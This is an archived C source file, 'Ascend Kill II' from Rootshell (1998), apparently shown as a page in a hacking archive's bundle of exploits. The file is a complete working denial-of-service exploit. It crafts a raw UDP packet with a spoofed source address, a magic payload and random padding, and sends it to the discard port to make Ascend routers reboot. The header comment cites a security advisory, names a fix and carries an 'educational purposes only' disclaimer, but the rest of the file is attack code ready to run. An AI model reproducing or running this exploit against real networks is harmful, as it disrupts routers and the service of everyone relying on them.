home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / AscendKill.c < prev    next >
Text File  |  1998-07-17  |  5KB  |  173 lines

  1. /*
  2.  * Ascend Kill II - C version
  3.  *
  4.  * (C) 1998 Rootshell - http://www.rootshell.com/ <info@rootshell.com>
  5.  *
  6.  * Distribute freely.
  7.  *
  8.  * Released: 3/16/98
  9.  *
  10.  * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
  11.  * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
  12.  *
  13.  * Sends a specially constructed UDP packet on the discard port (9)
  14.  * which cause Ascend routers to reboot.  (Warning! Ascend routers will
  15.  * process these if they are broadcast packets.)
  16.  *
  17.  * Compiled under RedHat 5.0 with glibc.
  18.  *
  19.  * NOTE: This program is NOT to be used for malicous purposes.  This is
  20.  *       intenteded for educational purposes only.  By using this program
  21.  *       you agree to use this for lawfull purposes ONLY.
  22.  *
  23.  * It is worth mentioning that Ascend has known about this bug for quite
  24.  * some time.
  25.  *
  26.  * Fix:
  27.  *
  28.  * Filter inbound UDP on port 9.
  29.  *
  30.  */
  31.  
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <string.h>
  35. #include <unistd.h>
  36. #include <sys/types.h>
  37. #include <sys/socket.h>
  38. #include <netinet/in.h>
  39. #include <netinet/in_systm.h>
  40. #include <netinet/ip.h>
  41. #include <linux/udp.h>
  42. #include <netdb.h>
  43.  
  44. #define err(x) { fprintf(stderr, x); exit(1); }
  45. #define errs(x, y) { fprintf(stderr, x, y); exit(1); }
  46.  
  47. /* This magic packet was taken from the Java Configurator */
  48. char ascend_data[] =
  49.   {
  50.     0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
  51.     0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  52.     0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
  53.     0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
  54.     0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
  55.     0x50, 0x41, 0x53, 0x53};
  56.  
  57.  
  58. unsigned short
  59. in_cksum (addr, len)
  60.      u_short *addr;
  61.      int len;
  62. {
  63.   register int nleft = len;
  64.   register u_short *w = addr;
  65.   register int sum = 0;
  66.   u_short answer = 0;
  67.  
  68.   while (nleft > 1)
  69.     {
  70.       sum += *w++;
  71.       nleft -= 2;
  72.     }
  73.   if (nleft == 1)
  74.     {
  75.       *(u_char *) (&answer) = *(u_char *) w;
  76.       sum += answer;
  77.     }
  78.  
  79.   sum = (sum >> 16) + (sum & 0xffff);
  80.   sum += (sum >> 16);
  81.   answer = ~sum;
  82.   return (answer);
  83. }
  84.  
  85. int
  86. sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
  87.      struct sockaddr_in *sin;
  88.      unsigned short int s, datalen, sport, dport;
  89.      unsigned long int saddr, daddr;
  90.      char *data;
  91. {
  92.   struct iphdr ip;
  93.   struct udphdr udp;
  94.   static char packet[8192];
  95.   char crashme[500];
  96.   int i;
  97.  
  98.   ip.ihl = 5;
  99.   ip.version = 4;
  100.   ip.tos = rand () % 100;;
  101.   ip.tot_len = htons (28 + datalen);
  102.   ip.id = htons (31337 + (rand () % 100));
  103.   ip.frag_off = 0;
  104.   ip.ttl = 255;
  105.   ip.protocol = IPPROTO_UDP;
  106.   ip.check = 0;
  107.   ip.saddr = saddr;
  108.   ip.daddr = daddr;
  109.   ip.check = in_cksum ((char *) &ip, sizeof (ip));
  110.   udp.source = htons (sport);
  111.   udp.dest = htons (dport);
  112.   udp.len = htons (8 + datalen);
  113.   udp.check = (short) 0;
  114.   memcpy (packet, (char *) &ip, sizeof (ip));
  115.   memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
  116.   memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
  117.   /* Append random garbage to the packet, without this the router
  118.      will think this is a valid probe packet and reply. */
  119.   for (i = 0; i < 500; i++)
  120.     crashme[i] = rand () % 255;
  121.   memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
  122.   return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
  123.                   (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
  124. }
  125.  
  126. unsigned int
  127. lookup (host)
  128.      char *host;
  129. {
  130.   unsigned int addr;
  131.   struct hostent *he;
  132.  
  133.   addr = inet_addr (host);
  134.   if (addr == -1)
  135.     {
  136.       he = gethostbyname (host);
  137.       if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
  138.         return 0;
  139.  
  140.       bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
  141.     }
  142.   return (addr);
  143. }
  144.  
  145. void
  146. main (argc, argv)
  147.      int argc;
  148.      char **argv;
  149. {
  150.   unsigned int saddr, daddr;
  151.   struct sockaddr_in sin;
  152.   int s, i;
  153.  
  154.   if (argc != 3)
  155.     errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);
  156.  
  157.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  158.     err ("Unable to open raw socket.\n");
  159.   if (!(saddr = lookup (argv[1])))
  160.     err ("Unable to lookup source address.\n");
  161.   if (!(daddr = lookup (argv[2])))
  162.     err ("Unable to lookup destination address.\n");
  163.   sin.sin_family = AF_INET;
  164.   sin.sin_port = 9;
  165.   sin.sin_addr.s_addr = daddr;
  166.   if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
  167.     {
  168.       perror ("sendpkt_udp");
  169.       err ("Error sending the UDP packet.\n");
  170.     }
  171. }
  172.  
  173.